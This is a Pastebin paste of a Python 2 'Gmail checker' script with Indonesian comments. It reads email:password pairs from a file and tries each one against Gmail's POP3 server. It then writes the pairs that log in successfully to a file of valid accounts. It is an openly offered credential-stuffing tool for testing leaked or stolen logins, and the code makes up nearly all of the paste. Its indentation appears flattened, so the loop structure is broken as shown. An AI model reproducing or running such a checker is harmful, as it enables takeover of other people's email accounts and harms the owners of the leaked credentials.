Hector_G

Gmail checker

Feb 15th, 2017
6,705
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.73 KB | None | 0 0
  1. #!/usr/bin/env python
  2.  
  3. # Gmail Scanner
  4. # Jangan Di Jual Lagi Yah ^^
  5.  
  6. import sys, poplib
  7.  
  8. def printHelp():
  9.     print '\n  Usage: ./gmailcheck.py <emaillist>'
  10.     print 'Example: ./gmailcheck.py emails.txt'
  11.     print '\n  Note: The accounts must be in the following format: [email protected]:password\n'
  12.  
  13.  
  14.     print '''
  15. \t||===\\ //==\\
  16. \t|| || | |
  17. \t|| || ||
  18. \t||___// ||____
  19. \t Scanner
  20.    '''
  21.  
  22. if len(sys.argv) != 2:
  23.     printHelp()
  24.     exit(1)
  25.  
  26. #Change these if needed.
  27. SAVEFILE = 'valid_accounts.txt'
  28. HOST = 'pop.gmail.com'
  29. PORT = 995
  30.  
  31. # Do not change anything below.
  32. maillist = sys.argv[1]
  33. valid = []
  34. currline = 0
  35.  
  36. try:
  37.     handle = open(maillist)
  38. except:
  39.     print '\n[-] Could not open the accounts file. Check the file path and try again.'
  40.     print '\n[-] Quitting ...'
  41.     exit(1)
  42.  
  43. for line in handle:
  44.     currline += 1
  45.  
  46. try:
  47.     email = line.split(':')[0]
  48.     password = line.split(':')[1].replace('\n', '')
  49. except:
  50.     print '\n[-] Kesalahan format line %d.' % currline
  51.     print '[!] Format Harus Seperti Ini : [email protected]:password'
  52.     print '\n[-] Quitting ...'
  53.     exit(1)
  54.  
  55. try:
  56.     pop = poplib.POP3_SSL(HOST, PORT)
  57.     pop.user(email)
  58.     pop.pass_(password)
  59.     valid.append(email + ':' + password)
  60.     print '[+] Checking: %s <%s> -> Valid!' % (email, password)
  61.     pop.quit()
  62. except:
  63.     print '[+] Checking: %s <%s> -> Invalid!' % (email, password)
  64.     pass
  65.  
  66. handle.close()
  67. print '\n[+] Total Valid: %s' % len(valid)
  68.  
  69. if len(valid) > 0:
  70.     save = open(SAVEFILE, 'a')
  71.  
  72. for email in valid:
  73.     save.write(email + '\n')
  74.  
  75. save.close()
  76.  
  77. print '[+] The valid accounts are saved in "%s".' % SAVEFILE
  78.  
  79. print '\n[+] Done.\n'
Advertisement
Add Comment
Please, Sign In to add comment